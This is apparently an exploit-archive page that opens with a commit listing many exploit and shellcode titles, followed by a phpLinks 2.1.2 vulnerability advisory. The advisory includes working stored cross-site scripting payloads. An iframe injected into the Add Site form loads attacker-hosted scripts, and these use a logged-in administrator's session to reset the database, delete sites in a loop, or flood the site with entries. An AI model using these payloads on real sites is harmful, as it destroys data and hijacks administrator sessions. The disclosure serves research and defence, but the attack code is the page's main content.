880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
92 lines
No EOL
3.7 KiB
Text
92 lines
No EOL
3.7 KiB
Text
phpLinks Multiple Vulnerabilities
|
|
|
|
Vendor: destiney.com
|
|
Product: phpLinks
|
|
Version: <= 2.1.2
|
|
Website: http://phplinks.sourceforge.net/
|
|
|
|
BID: 6632 6633
|
|
|
|
Description:
|
|
phpLinks is an open source free PHP script. phpLinks allows you to run a very powerful link farm or search engine. phpLinks has multilevel site categorization, infinite threaded search capabilities and more.
|
|
|
|
Search Script Injection Vulnerability:
|
|
phpLinks is prone to HTML injection due to a vulnerability in the search feature. Search queries are not sufficiently sanitized of HTML and script code. These search queries may potentially be displayed to other users when the most popular searches are viewed. If an attacker includes malicious HTML or script code in these queries, it is possible that the attacker-supplied code may be rendered in the web client software of other users.
|
|
|
|
Add Site Script Injection Vulnerability:
|
|
phpLinks does not sufficiently sanitized HTML and script code supplied via form fields before displaying this data to administrative users. This issue exists in the 'add.php' script, which is used to add sites to the phpLinks system. As a result, an attacker may cause malicious HTML and script code to be executed in the web client of an administrative user who reviews attacker-supplied data submitted when a site is added.
|
|
|
|
Solution:
|
|
https://www.securityfocus.com/bid/6632/solution/
|
|
https://www.securityfocus.com/bid/6633/solution/
|
|
|
|
Proof Of Conecpt Exploit:
|
|
phpLinks Arbitrary Command Proof Of Concept
|
|
|
|
Credits:
|
|
James Bercegay of the GulfTech Security Research Team.
|
|
|
|
|
|
|
|
|
|
- https://www.securityfocus.com/bid/6632/info
|
|
Put this in one of the field on "Add Site" form located at
|
|
http://blah/phplinks/index.php?show=add&PID=
|
|
If you inject the code into the Site Title or Site Url field, the code
|
|
will be ran as soon as a logged in administrator views it.
|
|
|
|
<iframe src=http://blah/death.html></iframe>
|
|
|
|
Below is the code for the called file "death.html"
|
|
|
|
---------------------------------------------------------------------------
|
|
<script language=JavaScript>
|
|
var i = 10; // This is the number of the user ID to start deleting
|
|
var BaseURL = "http://victimsite/phplinks/";
|
|
window.open(BaseURL + '/admin/reset.php?
|
|
reset_in=&reset_out=&search_terms=&referrers=&submit='); // this resets
|
|
the database
|
|
function Waste()
|
|
{
|
|
while (i) {
|
|
i++;
|
|
window.open(BaseURL + 'admin/delete_site.php?dbtable=links&ID=' + i
|
|
+ '&sure=Yes');
|
|
}
|
|
}
|
|
</script>
|
|
<body onLoad="Waste();">
|
|
---------------------------------------------------------------------------
|
|
|
|
As you can see, that code (when called by a logged in admin validating
|
|
sites) is run, the database is in alot of cases going to be left empty. By
|
|
the way, the dbtable=links can be changed to dbtable=temp in order to
|
|
affect sites not yet approved etc. On the other hand you can add users to
|
|
the database and more. Take the following code for example:
|
|
|
|
<iframe src=http://blah/life.html></iframe>
|
|
|
|
Below is the code for the called file "life.html":
|
|
|
|
---------------------------------------------------------------------------
|
|
<script language=JavaScript>
|
|
var i = 1;
|
|
var BaseURL = "http://victimsite/phplinks/";
|
|
function Gluttony()
|
|
{
|
|
while (i) {
|
|
i++;
|
|
window.open(BaseURL + '/admin/add_site.php?SiteName=JeiAr0wnethTheee' + i
|
|
+ '&SiteURL=http://www.b' + i + 'j.orfd&Description=' + i
|
|
+'3333333333333333333333333333333333&Category=&Country=Turkey.gif&Email=1@t
|
|
.' + i + '&UserName=12345' + i
|
|
+ '&Password=12345678&Hint=12345678910&add=' + i + '&sure=Yes');
|
|
}
|
|
}
|
|
</script>
|
|
<body onLoad="Gluttony();">
|
|
---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
- https://www.securityfocus.com/bid/6633/info |